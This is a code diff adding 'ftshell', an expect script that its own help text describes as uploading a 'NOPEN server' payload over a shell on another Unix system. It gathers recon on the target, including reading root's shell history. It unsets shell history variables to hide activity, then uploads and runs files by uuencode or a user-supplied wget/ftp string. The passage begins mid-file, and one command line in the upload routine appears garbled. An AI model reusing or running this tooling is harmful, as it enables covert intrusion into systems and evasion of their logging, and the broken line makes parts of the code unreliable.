$dodothis] } { + dothisfirst + } + interactivebanner + send "\r" + expect -re $prompt + # this does nothing if dobash not set + execbash 0 + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usewhich + global usesetenv + global dothisreallyquiet + + stty raw echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_user "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_user "Processing upload\n" + +# dounsets + # this does nothing if dobash not set + execbash 0 + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "ABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uLocalFile] > 0 } { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } else { + + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { $uStayOn } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + B { + send_user "Switching to bash if we can" + execbash 1 + } + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~B switch to bash via exec bash/unsets if possible\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { + set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$" +# set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.9.0.2 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 +set donealready 0 +set bashcount 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -B Try to exec bash if available. + -E Use setenv to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -w Use which (not type) to find target commands for upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U //str// Execute the \"//\" delimited string \"str\" provided to + upload the file rather than the -u method. End result must + be that rname exists in /tmp. This will normally be a wget + or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, //str// + could just be //echo//, to basically do nothing at that + step. NOTE: //str// CANNOT contain any \";\" characters. + But \"\\&\\&\" works (yes, you must escape them). + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-w (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -w : Using which instead of type\n" + set usewhich 1 +} else { + set usewhich 0 +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash 1 +} else { + set dobash 0 +} + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +set OtherUpload 0 + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + set argv "$ava $avb" + if { [string match "via*" $uLocalFile] } { + send_user "ftshell -u : uploading ${uLocalFile}\n" + set uLocalFile "" + set OtherUpload 1 + } else { + send_user "Local File : $uLocalFile\n" + } +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn 1 + set argv "$ava $avb" +} else { + set uStayOn 0 +} + +#if [regexp "(.*)\\-U \\-\\-(.*)\\-\\-(.*)" $argv ignore ava uRemoteUploadCommand avb] { +if [regexp "(.*)\\-U //(.*)//(.*)" $argv ignore ava uRemoteUploadCommand avb] { + if { [string length $uLocalFile] > 1 } { + send_user "ftshell: Fatal error. Cannot use -u $uLocalFile with -U" + exit 1 + } + send_user "ftshell -U : using -U to upload with::${uRemoteUploadCommand}::\n" + set argv "$ava $avb" +} else { + set uRemoteUploadCommand "" +} + + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [info exists env(SHOWTHIS)] { + set showthis $env(SHOWTHIS) +} else { + set showthis "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { + processUpload +} else { + if { [string length $uRemoteUploadCommand] > 0 } { + processUpload + } else { + if { $OtherUpload } { + processUpload + } + } +} + +# if string length $uLocalFile > 0 || +# string length $uRemoteUploadCommand > 0 || +# $OtherUpload { +# processUpload +# } + +send_user "\n" +send_user "+----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.9.0.3 b/Linux/bin/ftshell.v3.9.0.3 new file mode 100755 index 0000000..571c662 --- /dev/null +++ b/Linux/bin/ftshell.v3.9.0.3 @@ -0,0 +1,1114 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.39 $ + + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " +# send "echo not doing stty -echo\r" + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { +exp_continue + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global usewhich + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + +# send_verbose "remote pid is " +# send "echo $$\r" +# expect -re "(.*)\r\n.*$prompt" { +# set rpid $expect_out(1,string) +# } + + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type +# send "\r" +# expect -re $prompt + + if (!$usewhich) { + send "type uudecode perl uncompress gzip\r" + # sleep may help avoid incorrectly NOT recognizing the output of type? + sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp "uudecode is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "perl is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "uncompress is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "gzip is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } +# expect -re "(.*)\r\n.*$prompt" { +# regexp "is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath +# regexp ".*\r\n.*is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath +# regexp ".*\r\n.*\r\n.*is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath +# regexp ".*\r\n.*\r\n.*\r\n.*is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath +# } + } else { + send "setenv HOME \"\"\r" + sleep 1 + expect -re $prompt + send "HOME=\"\" export HOME\r" + sleep 1 + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp "no " $uudecodePath] { + set uudecodePath "Not found" + } + if [regexp "no " $perlPath] { + set perlPath "Not found" + } + if [regexp "no " $uncompressPath] { + set uncompressPath "Not found" + } + if [regexp "no " $gzipPath] { + set gzipPath "Not found" + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | wc -c" r] + gets $fp buf + send_user "$buf\n" + + + # Issue remote command to recieve data + send_verbose "sending ...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + + set fp [open "|$local_cmd" r] + set bytesTransfered 0 + while 1 { + if {-1 == [gets $fp buf]} break + send -- "$buf\n" + updateStatus "sent" [string length $buf] + } + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + close $fp + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + send "\r" + expect -re $prompt + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+----------------------------------------------------\n" +} + +proc execbash {forced} { + global dobash + global prompt + global usewhich + global usesetenv + global bashcount + + # argument forced forces another exec bash even if + # $bashcount or !$dobash (allows ~~B to work). + + if { $bashcount && !$forced } { + return + } + if { $dobash || $forced } { + set bashcount [expr $bashcount + 1] + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + dounsets + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } +} +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE HISTSIZE HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global showthis + global donealready + + dounsets + if { $donealready } { + return + } + set donealready 1 + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global showthis + global usewhich + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + interactivebanner + send "\r" + expect -re $prompt + # this does nothing if dobash not set + execbash 0 + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usewhich + global usesetenv + global dothisreallyquiet + + stty raw echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_user "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_user "Processing upload\n" + +# dounsets + # this does nothing if dobash not set + execbash 0 + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "ABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uLocalFile] > 0 } { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } else { + + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { $uStayOn } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + B { + send_user "Switching to bash if we can" + execbash 1 + } + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~B switch to bash via exec bash/unsets if possible\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { + set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$" +# set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.9.0.3 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 +set donealready 0 +set bashcount 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail 